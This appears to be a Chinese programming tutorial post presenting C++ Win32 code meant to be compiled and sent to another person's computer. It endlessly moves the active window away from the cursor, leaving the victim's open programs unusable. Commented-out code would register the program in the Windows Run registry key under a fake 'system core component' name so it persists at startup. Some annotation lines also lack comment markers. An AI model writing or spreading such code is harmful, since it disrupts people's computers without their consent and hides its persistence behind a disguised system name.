程序功能:可以让对方电脑无法使用当前打开的软件
注意:如果要打包成.exe发给别,要将debug模式变成release模式即发布模式
代码语言:javascript复制#include<iostream>
#include<Windows.h> //win32 API 接口 控制系统的一些功能
#include<time.h>
using namespace std;
int main()
{
int cx=0,cy=0;
HWND qqhwnd;
RECT rect; //定义一个矩形
POINT pt; //定义一个点
int x=0, y=0;
HKEY hkey; //注册表
//下面的代码是将该程序变为开机自启项,具有危险性,建议谨慎使用
//----------------------------------------------------------------------------------------
获取当前exe的路径 module模块 filename文件路径
//char exepath[MAX_PATH] = {0};
//GetModuleFileName(
// NULL, //如果该参数为NULL,该函数返回该应用程序全路径
// exepath, //指定一个字符串保存路径名 *****项目-》高级-》多字节字符串*****
// MAX_PATH //字符串的最大字符数
//);
开机自启项路径
//char keypath[MAX_PATH] = "Software\Microsoft\Windows\CurrentVersion\Run";
//RegOpenKey(
// HKEY_CURRENT_USER, //打开的注册表项目
// keypath, //打开的子健的名字的地址
// &hkey //打开的句柄的地址
//); //hkey 就是开机自启的注册表ID
设置注册表项的数据
//RegSetValueEx(
// hkey, //一个已经打开的注册表项
// "WIndows 系统核心组件", //新建注册表数据的名称
// 0,//保留项,强制指定为0
// REG_SZ,//数据的类型 REG_SZ为以‘ ’结尾的字符串
// (unsigned char*)exepath, //指向一个字符串 自启的程序的路径
// MAX_PATH //指向的数据大小
//);
//---------------------------------------------------------------------------------
//随机数种子
srand((unsigned int)time(NULL));
//1.知道屏幕的分辨率
cx = GetSystemMetrics(SM_CXSCREEN); //获取屏幕分辨率:x
cy = GetSystemMetrics(SM_CYSCREEN); //获取屏幕分辨率:y
//2.得到某一个窗口的句柄
//qqhwnd = FindWindow(
// "TXGuiFoundation", //窗口类名称
// "QQ" //窗口标题
//);
while (1)
{
//获取当前工作窗口
qqhwnd = GetForegroundWindow();
//3.通过窗口的ID得到窗口的矩形范围
GetWindowRect(
qqhwnd, //获取哪一个窗口
&rect //保存范围的数据
);
//4.获取光标的点
GetCursorPos(&pt);
//5.判断光标有没有跟窗口重合,如果重合就把窗口移动到另外的地方
if (pt.x <= rect.right && pt.x >= rect.left && pt.y >= rect.top && pt.y <= rect.bottom)
{
x = rand() % (cx - 500); //不让窗口跑出去
y = rand() % (cy - 500);
MoveWindow(
qqhwnd, //需要移动的窗口句柄
x, y, //int x,int y 窗口新的左上角坐标
500, 500, //int width,int height 窗口新的高度和宽度
true //bool repaint 是否重绘
);
}
}
//HWND qqhwnd; //定义一个窗口句柄,用来保存一个窗口ID
//HKEY hkey; //定义一个注册表句柄,用来保存一条注册表数据(ID)控制系统
获取系统的数据
//int cx=GetSystemMetrics(SM_CXSCREEN); //获取屏幕分辨率:x
//int cy=GetSystemMetrics(SM_CYSCREEN); //获取屏幕分辨率:y
//cout << "屏幕分辨率:" << cx <<" "<< cy << endl;
获取qq窗口的句柄
//qqhwnd = FindWindow(
// "TXGuiFoundation", //窗口类名称
// "QQ" //窗口标题
//);
//cout << "QQ窗口的句柄ID: " << qqhwnd << endl;
获取当前exe的路径 module模块 filename文件路径
//char exepath[MAX_PATH] = {0};
//GetModuleFileName(
// NULL, //如果该参数为NULL,该函数返回该应用程序全路径
// exepath, //指定一个字符串保存路径名 *****项目-》高级-》多字节字符串*****
// MAX_PATH //字符串的最大字符数
//);
//cout << "当前的exe文件路径: " << exepath << endl;
改变指定窗口的位置和大小
//MoveWindow(
// qqhwnd, //需要移动的窗口句柄
// 0,0, //int x,int y 窗口新的左上角坐标
// 500,500, //int width,int height 窗口新的高度和宽度
// true //bool repaint 是否重绘
//);
获取窗口的矩形范围
//RECT rect; //定义一个矩形
//GetWindowRect(
// qqhwnd, //获取哪一个窗口
// &rect //保存范围的数据
//);
//cout << "QQ窗口的矩形范围:" << rect.left << " " << rect.top << " " << rect.right << " " << rect.bottom << endl;
//
获取光标的位置 cursor光标 position位置
//POINT pt; //定义一个点
//GetCursorPos(&pt);
//
system("pause");
return 0;
}